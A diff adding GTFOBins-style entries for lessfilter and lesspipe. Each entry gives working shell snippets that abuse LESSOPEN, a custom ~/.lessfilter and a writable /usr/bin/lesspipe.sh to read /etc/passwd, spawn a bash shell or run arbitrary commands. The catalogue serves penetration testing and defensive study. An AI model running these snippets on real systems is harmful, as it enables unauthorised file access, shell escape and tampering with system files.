Add lessfilter and lesspipe entries

_gtfobins/lessfilter.md

@@ -0,0 +1,35 @@
+---
+functions:
+  file-read:
+    - description: |
+        This can read arbitrary files by creating a custom lessfilter script.
+      code: |
+        echo '#!/bin/bash
+        cat "$1"
+        exit 0' > ~/.lessfilter
+        chmod +x ~/.lessfilter
+        export LESSOPEN="|~/.lessfilter %s"
+        less /etc/passwd
+
+  shell:
+    - description: |
+        This can spawn an interactive shell by executing commands through lessfilter.
+      code: |
+        echo '#!/bin/bash
+        /bin/bash
+        exit 0' > ~/.lessfilter
+        chmod +x ~/.lessfilter
+        export LESSOPEN="|~/.lessfilter %s"
+        less anyfile
+
+  command:
+    - description: |
+        This executes arbitrary commands through the lessfilter mechanism.
+      code: |
+        echo '#!/bin/bash
+        COMMAND
+        exit 0' > ~/.lessfilter
+        chmod +x ~/.lessfilter
+        export LESSOPEN="|~/.lessfilter %s"
+        less anyfile
+---

_gtfobins/lesspipe.md

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+---
+functions:
+  file-read:
+    - description: |
+        This can read files by modifying the system lesspipe script if writable.
+      code: |
+        echo 'cat /etc/passwd' >> /usr/bin/lesspipe.sh
+        less anyfile
+
+  command:
+    - description: |
+        This executes commands if the lesspipe script is writable.
+      code: |
+        echo 'COMMAND' >> /usr/bin/lesspipe.sh
+        less anyfile
+---
+